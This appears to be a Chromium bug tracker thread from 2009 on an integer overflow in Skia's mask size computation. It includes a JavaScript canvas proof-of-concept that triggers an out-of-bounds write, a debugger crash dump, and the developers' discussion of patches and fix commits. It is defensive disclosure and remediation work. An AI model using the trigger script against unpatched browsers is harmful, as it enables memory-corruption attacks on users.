| Issue 10736: | SkMask::computeImageSize() integer overflow | |
| Back to list |
Sign in to add a comment
|
An integer overflow can be triggered in
skia\sgl\skmask.cpp!SkMask::computeImageSize, which leads to Chrome (2.x)
not allocating sufficient memory for data. This issue can likely be
exploited to execute arbitrary code. The vulnerable code is:
size_t SkMask::computeImageSize() const
{
return fBounds.height() * fRowBytes;
}
As you can see, there is no check if the result of the multiplication can
fit in a size_t. Here's some JavaScript that can be used to trigger the
issue:
<SCRIPT>
oCanvas=document.createElement("CANVAS");
o2dContext=oCanvas.getContext("2d");
o2dContext.transform(78,76,-6,0,-10000,9);
o2dContext.translate(-55,0);
o2dContext.rotate(1000);
o2dContext.shadowBlur=1000;
o2dContext.shadowOffsetX=1;
o2dContext.clearRect(1,5,48,-21);
</SCRIPT>
Here's more details:
CdbFatalExceptionInfo(WriteAV()[arbitrary]@chrome!memset+0x65) (100%
reproducable after 11 attempts, reducing)
Attempt to write to arbitrary memory at arbitrary, instruction:
03b6bf35 8807 mov byte ptr [edi],al
Registers:
eax=000000ff ebx=03419b90 ecx=8b936f2d edx=00000001
esi=05fee548 edi=8b936f2d esp=05fee50c ebp=05fee534 eip=03b6bf35
Stack:
ChildEBP RetAddr
05fee50c 03fc9abf chrome_28f0000!memset(unsigned char * dst =
0xffffcf15 "--- memory read error at address 0xffffcf15 ---", unsigned char
value = 0x14 '', unsigned long count = 1)+0x65
05fee534 03fbf403 chrome_28f0000!SkA8_Blitter::blitH(int x = -
12523, int y = 380692, int width = 1)+0x5f
05fee57c 03fbf27a chrome_28f0000!walk_edges(struct SkEdge *
prevHead = 0x05fee5f0, SkPath::FillType fillType = kWinding_FillType (0),
class SkBlitter * blitter = 0x0d079020, int stop_y = 384133, <function> *
proc = 0x00000000)+0xd3
05fee638 03fc0058 chrome_28f0000!sk_fill_path(class SkPath *
path = 0x05feed98, struct SkIRect * clipRect = 0x00000000, class SkBlitter
* blitter = 0x0d079020, int stop_y = 384133, int shiftEdgesUp = 0, class
SkRegion * clipRgn = 0x05feee7c)+0x17a
05fee6c0 03fd6c4b chrome_28f0000!SkScan::FillPath(class SkPath
* path = 0x05feed98, class SkRegion * clip = 0x05feee7c, class SkBlitter *
blitter = 0x0d079020)+0xd8
05feebd0 03fb958a chrome_28f0000!SkScan::AntiFillPath(class
SkPath * path = 0x05feed98, class SkRegion * clip = 0x05feee7c, class
SkBlitter * blitter = 0x0d079020)+0xeb
05feedd4 03f8d912 chrome_28f0000!SkDraw::drawPath(class SkPath
* origSrcPath = 0x05fef194, class SkPaint * paint = 0x05feee08, class
SkMatrix * prePathMatrix = 0x00000000, bool pathIsMutable = false)+0x3ca
05feedf0 03fbdcfc chrome_28f0000!SkDraw::drawPath(class SkPath
* src = 0x05fef194, class SkPaint * paint = 0x05feee08)+0x22
05feeee0 03fbd9e4 chrome_28f0000!draw_into_mask(struct SkMask *
mask = 0x05feefa4, class SkPath * devPath = 0x05fef194)+0xfc
05feeef0 03fd6f62 chrome_28f0000!SkDraw::DrawToMask(class
SkPath * devPath = 0x05fef194, struct SkIRect * clipBounds = 0x096af028,
class SkMaskFilter * filter = 0x0d0a5020, class SkMatrix * filterMatrix =
0x0a14d04c, struct SkMask * mask = 0x05feefa4, SkMask::CreateMode mode =
kComputeBoundsAndRenderImage_CreateMode (2))+0x94
05feefc4 03fb94dd chrome_28f0000!SkMaskFilter::filterPath(class
SkPath * devPath = 0x05fef194, class SkMatrix * matrix = 0x0a14d04c, class
SkRegion * clip = 0x096af028, class SkBounder * bounder = 0x00000000, class
SkBlitter * blitter = 0x0d2d5020)+0x42
05fef1d0 03f8d912 chrome_28f0000!SkDraw::drawPath(class SkPath
* origSrcPath = 0x05fef36c, class SkPaint * paint = 0x05fef518, class
SkMatrix * prePathMatrix = 0x00000000, bool pathIsMutable = false)+0x31d
05fef1ec 03fb8d90 chrome_28f0000!SkDraw::drawPath(class SkPath
* src = 0x05fef36c, class SkPaint * paint = 0x05fef518)+0x22
05fef3a0 03f8d8ae chrome_28f0000!SkDraw::drawRect(struct SkRect
* rect = 0x05fef55c, class SkPaint * paint = 0x05fef518)+0xe0
05fef3b4 03f9066b chrome_28f0000!SkDevice::drawRect(class
SkDraw * draw = 0x05fef3d4, struct SkRect * r = 0x05fef55c, class SkPaint *
paint = 0x05fef518)+0x1e
05fef450 03688600 chrome_28f0000!SkCanvas::drawRect(struct
SkRect * r = 0x05fef55c, class SkPaint * paint = 0x05fef518)+0xcb
05fef574 0352909d
chrome_28f0000!WebCore::GraphicsContext::clearRect(class WebCore::FloatRect
* rect = 0x05fef584)+0xf0
05fef5a0 02c07654
chrome_28f0000!WebCore::CanvasRenderingContext2D::clearRect(float x = 71,
float y = -16, float width = 48, float height = 21)+0xad
05fef5f8 03419eb9
chrome_28f0000!WebCore::CanvasRenderingContext2DInternal::clearRectCallback
(class v8::Arguments * args = 0x05fef658)+0xe4
05fef730 064f018b
chrome_28f0000!v8::internal::Builtin_HandleApiCall(int __argc__ = 5, class
v8::internal::Object ** __argv__ = 0x05fef760)+0x329
WARNING: Frame IP not in any known module. Following frames may
be wrong.
05fef824 03351891 0x64f018b
05fef8b8 03351762 chrome_28f0000!v8::internal::Invoke(bool
construct = true, class v8::internal::Handle<v8::internal::JSFunction> func
= class v8::internal::Handle<v8::internal::JSFunction>, class
v8::internal::Handle<v8::internal::Object> receiver = class
v8::internal::Handle<v8::internal::Object>, int argc = 100595660, class
v8::internal::Object *** args = 0x0650a6b9, bool * has_pending_exception =
0x06a3c4b9)+0x111
05fef8dc 03320bb8
chrome_28f0000!v8::internal::Execution::Call(class
v8::internal::Handle<v8::internal::JSFunction> func = class
v8::internal::Handle<v8::internal::JSFunction>, class
v8::internal::Handle<v8::internal::Object> receiver = class
v8::internal::Handle<v8::internal::Object>, int argc = 0, class
v8::internal::Object *** args = 0x00000000, bool * pending_exception =
0x05fef92b)+0x22
05fef96c 02a5e5ef chrome_28f0000!v8::Function::Call(class
v8::Handle<v8::Object> recv = class v8::Handle<v8::Object>, int argc = 0,
class v8::Handle<v8::Value> * argv = 0x00000000)+0x108
05fef9a4 02ace0bf
chrome_28f0000!WebCore::V8Proxy::CallFunction(class
v8::Handle<v8::Function> function = class v8::Handle<v8::Function>, class
v8::Handle<v8::Object> receiver = class v8::Handle<v8::Object>, int argc =
0, class v8::Handle<v8::Value> * args = 0x00000000)+0x5f
05fefa20 035cb3da
chrome_28f0000!WebCore::ScheduledAction::execute(class
WebCore::ScriptExecutionContext * context = 0x08f59054)+0xff
05fefa5c 036920c5
chrome_28f0000!WebCore::DOMTimer::fired(void)+0x12a
05fefa94 036921ea
chrome_28f0000!WebCore::ThreadTimers::fireTimers(double fireTime =
1239927738.0545001, class WTF::Vector<WebCore::TimerBase *,0> *
firingTimers = 0x05fefaac)+0xb5
05fefac8 03692136
chrome_28f0000!WebCore::ThreadTimers::sharedTimerFiredInternal(void)+0xaa
05fefad0 02904562
chrome_28f0000!WebCore::ThreadTimers::sharedTimerFired(void)+0x16
05fefae0 02904fdc
chrome_28f0000!webkit_glue::WebKitClientImpl::DoTimeout(void)+0x22
05fefaec 02904af4
chrome_28f0000!DispatchToMethod<webkit_glue::WebKitClientImpl,void (class
webkit_glue::WebKitClientImpl * obj = 0x061a9020, <function> * method =
0x02904540, struct Tuple0 * arg = 0x05fefb03)+0xc
05fefb08 03ac4b29
chrome_28f0000!base::BaseTimer<webkit_glue::WebKitClientImpl,0>::TimerTask:
:Run(void)+0x54
05fefbbc 03ac4bd5 chrome_28f0000!MessageLoop::RunTask(class
Task * task = 0x0d195020)+0xb9
05fefbcc 03ac5246
chrome_28f0000!MessageLoop::DeferOrRunPendingTask(struct
MessageLoop::PendingTask * pending_task = 0x05fefbf0)+0x35
05fefc10 03b51aa0
chrome_28f0000!MessageLoop::DoDelayedWork(class base::Time *
next_delayed_work_time = 0x05dc9038)+0x116
05fefcf8 03ac444b
chrome_28f0000!base::MessagePumpDefault::Run(class
base::MessagePump::Delegate * delegate = 0x05fefeb0)+0xf0
05fefda8 03ac42b0
chrome_28f0000!MessageLoop::RunInternal(void)+0xfb
05fefde0 03ac413a
chrome_28f0000!MessageLoop::RunHandler(void)+0x90
05fefe08 03ae9138 chrome_28f0000!MessageLoop::Run(void)+0x3a
05feffa4 03ae8271
chrome_28f0000!base::Thread::ThreadMain(void)+0xb8
05feffb4 7c80b713 chrome_28f0000!`anonymous
namespace'::ThreadFunc(void * closure = 0x05ded02c)+0x21
05feffec 00000000 kernel32!BaseThreadStart+0x37
|
||||||||||||||||||||||
,
Apr 19, 2009
Repro: http://skypher.com/SkyLined/Repro/Chrome/Issue%2010736%20- %20SkMask%20computeImageSize()%20integer%20overflow/repro.html AFAIK this does not affect Chrome 1.x |
|||||||||||||||||||||||
,
Apr 20, 2009
(No comment was entered for this change.)
Cc: bre...@chromium.org r...@android.com
|
|||||||||||||||||||||||
,
Apr 20, 2009
There are more similar problems:
Same file:
size_t SkMask::computeTotalImageSize() const
{
size_t size = this->computeImageSize();
if (fFormat == SkMask::k3D_Format)
size *= 3;
return size;
}
Again, multiplication without checking for integer overflows.
I'll have a look at more of the code in skia\sgl to check if this prevails throughout
the code.
|
|||||||||||||||||||||||
,
Apr 20, 2009
There are more files that contain dubious length calculations (eg. SkBitmap.cpp, SkWrite32.cpp). It makes sense to scan all the code for them. Without knowing if the variables used in the calculations are limited in some way, it's not possible to determine which ones are vulnerable and which are not. To err on the side of caution, it makes sense to add checks for integer overflows to all of them if this doesn't incur a significant performance penalty. Maybe we can use/create something like SafeInt (http://msdn2.microsoft.com/en-us/library/ms972705.aspx). |
|||||||||||||||||||||||
,
Apr 20, 2009
(No comment was entered for this change.)
Owner: bre...@chromium.org
Cc: secur...@chromium.org Labels: Mstone-2.0 |
|||||||||||||||||||||||
,
Apr 20, 2009
oops.. meant to assign
Status: Assigned
|
|||||||||||||||||||||||
,
Apr 22, 2009
This also probably affects Android's browser (I think they support Canvas). |
|||||||||||||||||||||||
,
Apr 22, 2009
For reference, here's the patch I started:
size_t SkMask::computeImageSize() const
{
- return fBounds.height() * fRowBytes;
+ int result = (int)fBounds.height() * (int)fRowBytes;
+ if (result < 0)
+ return -1;
+ return result;
}
size_t SkMask::computeTotalImageSize() const
{
size_t size = this->computeImageSize();
+ if (size == -1)
+ return -1;
- if (fFormat == SkMask::k3D_Format)
+ if (fFormat == SkMask::k3D_Format) {
+ if (size >= 0x55555555)
+ return -1; // Prevent overflow.
size *= 3;
+ }
return size;
}
I got pretty bogged down making all callers check for -1 before doing anything with
the buffer (or trying to allocate it). Several cases weren't clear to me what to do
on error and be in a state that wouldn't be inconsistent.
I'm going to just kill the process if this overflows for now. Hopefully we can come
up with a better solution later.
|
|||||||||||||||||||||||
,
Apr 22, 2009
Here is the patch which I tested with BJ's testcase. I'm not sure how to do a code
review. Can somebody check it?
size_t SkMask::computeImageSize() const
{
- return fBounds.height() * fRowBytes;
+ // Prevent an integer overflow by killing the process. This can lead to an
+ // exploitable buffer overflow (we check for signed overflows just for good
+ // measure, since a bitmap that size is clearly a problem anyway).
+ //
+ // Ideally, all callers would check for an error from this function and we
+ // could continue.
+ long long size = (long long)fBounds.height() * (long long)fRowBytes;
+ if (size >= 0xFFFFFFFFll / 2)
+ __debugbreak();
+
+ return size;
}
Status: Started
|
|||||||||||||||||||||||
,
Apr 22, 2009
I wish we could express this in terms of MAX_INT or some kind of limits constant on size_t. Also, does this have perf impact of the long long? |
|||||||||||||||||||||||
,
Apr 22, 2009
My grammar fails me. :) What I mean is something like (Limits<size_t>::Max >> 2) or whatever you actually want. |
|||||||||||||||||||||||
,
Apr 22, 2009
I thought Skia didn't use STL, but I found another file that used <limits>, so here's
the new version:
+#include <limits>
+
#include "SkMask.h"
size_t SkMask::computeImageSize() const
{
- return fBounds.height() * fRowBytes;
+ // Prevent an integer overflow by killing the process. This can lead to an
+ // exploitable buffer overflow. Ideally, all callers would check for an
+ // error from this function and we could continue.
+ long long size = (long long)fBounds.height() * (long long)fRowBytes;
+ if (size >= std::numeric_limits<size_t>::max() / 2)
+ __debugbreak();
+
+ return size;
}
|
|||||||||||||||||||||||
,
Apr 22, 2009
LGTM provided perf isn't a problem. Can we check in BJ's test case too? |
|||||||||||||||||||||||
,
Apr 22, 2009
This only gets called when creating a new bitmap in some certain circumstances (I think when it needs one for an effect). It doesn't get called very much at all, and even if it did, the perf would be covered up by mallocing a bunch of memory. |
|||||||||||||||||||||||
,
Apr 23, 2009
Since we already seem to be doing a cleanup of CANVAS implementation in this bug, you might want to dupe issue 8864 against this one? |
|||||||||||||||||||||||
,
Apr 23, 2009
[I think BJ is using the same fuzzer, just ported to the fuzzing infrastructure] |
|||||||||||||||||||||||
,
Apr 23, 2009
No, I've created a new one that uses templates to allow it to fuzz pretty much anything JavaScript can touch directly. I've implemented templates to fuzz all CANVAS features defined by w3.org and I'm working on other parts of HTML, such as IMG elements (these are used as arguments to some of the CANVAS methods) and HTML elements in general (The CANVAS element is an HTML element after all). |
|||||||||||||||||||||||
,
Apr 23, 2009
I will roll in a change into skia/trunk that fixes this as well, but handles the callers so we don't have to kill the process. I'll ping brettw when I have that CL. |
|||||||||||||||||||||||
,
Apr 23, 2009
BTW - I don't think the neg-check catches all overflows. It is only checking that bit 32 of the (possibly 64bit) result was set.
Labels: BTW
|
|||||||||||||||||||||||
,
Apr 23, 2009
Why's that? I'm not that familiar with long long variables, but I thought the new >= would be a 64 bit comparison. |
|||||||||||||||||||||||
,
Apr 23, 2009
ah, you're right. I was still looking at this (older) version: + int result = (int)fBounds.height() * (int)fRowBytes; + if (result < 0) + return -1; |
|||||||||||||||||||||||
,
Apr 23, 2009
What's the ETA for checking in this fix? |
|||||||||||||||||||||||
,
Apr 23, 2009
(No comment was entered for this change.)
Cc: aba...@chromium.org
|
|||||||||||||||||||||||
,
Apr 23, 2009
The patch in comment #12 looks fine for computeImageSize(), but what about computeTotalImageSize()? I'm still worried about the size *= 3 call there. |
|||||||||||||||||||||||
,
Apr 24, 2009
BTW - skia/trunk has a fixed checked in. It is essentially the same as the above patch (it also checks the *3 mulitply), but it has also update the call-sites that use the result to allocate memory, and aborts the drawing in those cases if we overflowed. http://code.google.com/p/skia/source/detail?r=159 (it also has the additional porder-duff mode ADD) |
|||||||||||||||||||||||
,
Apr 24, 2009
Thanks Mike! |
|||||||||||||||||||||||
,
Apr 24, 2009
I'll make the *3 crash as well and check it in as normal (since Skia's fixed it upstream, there's no sense in keeping this seekret. |
|||||||||||||||||||||||
,
Apr 24, 2009
Should be fixed in r14454.
Status: Fixed
|
|||||||||||||||||||||||
,
Apr 24, 2009
The following revision refers to this bug:
http://src.chromium.org/viewvc/chrome?view=rev&revision=14454
------------------------------------------------------------------------
r14454 | brettw@chromium.org | 2009-04-24 12:50:03 -0700 (Fri, 24 Apr 2009) | 3 lines
Changed paths:
M http://src.chromium.org/viewvc/chrome/trunk/src/skia/sgl/SkMask.cpp?r1=14454&r2=14453
Fix a bug in the size computation for Skia masking.
BUG=10736
------------------------------------------------------------------------
|
|||||||||||||||||||||||
,
Apr 25, 2009
The following revision refers to this bug:
http://src.chromium.org/viewvc/chrome?view=rev&revision=14552
------------------------------------------------------------------------
r14552 | mal@chromium.org | 2009-04-25 17:43:56 -0700 (Sat, 25 Apr 2009) | 5 lines
Changed paths:
M http://src.chromium.org/viewvc/chrome/branches/release_154.next/src/skia/sgl/SkMask.cpp?r1=14552&r2=14551
Merge r14454 to 154.
Fix a bug in the size computation for Skia masking.
BUG=10736
------------------------------------------------------------------------
|
|||||||||||||||||||||||
,
Apr 25, 2009
The following revision refers to this bug:
http://src.chromium.org/viewvc/chrome?view=rev&revision=14553
------------------------------------------------------------------------
r14553 | mal@chromium.org | 2009-04-25 17:46:51 -0700 (Sat, 25 Apr 2009) | 5 lines
Changed paths:
M http://src.chromium.org/viewvc/chrome/branches/172/src/skia/sgl/SkMask.cpp?r1=14553&r2=14552
Merge r14454 to 172.
Fix a bug in the size computation for Skia masking.
BUG=10736
------------------------------------------------------------------------
|
|||||||||||||||||||||||
,
Apr 27, 2009
http://skypher.com/SkyLined/Repro/Chrome/Issue%2010736%20- %20SkMask%20computeImageSize()%20integer%20overflow/repro.html Loading the above testcase still crashes the renderer in Chromium 2.0.177.0 (Developer Build 14622) and Google Chrome 1.0.154.61 (Official Build ) doesn't crash.
Cc: m...@chromium.org anan...@chromium.org
|
|||||||||||||||||||||||
,
Apr 27, 2009
the current fix in Chrome is to crash using a DebugBreak when this condition is detected, so you will still get a renderer crash. |
|||||||||||||||||||||||
,
Apr 29, 2009
Verified with Google Chrome 2.0.172.13. This crashes at DebugBreak in SkMask::computeImageSize instead of crashing at memset. |
|||||||||||||||||||||||
,
May 04, 2009
Works as expected with Google Chrome 2.0.172.18 |
|||||||||||||||||||||||
,
May 05, 2009
154.64 has been released.
Labels: -private
|
|||||||||||||||||||||||
,
May 07, 2009
Works as expected with Google Chrome 2.0.172.22 |
|||||||||||||||||||||||
|
|
|||||||||||||||||||||||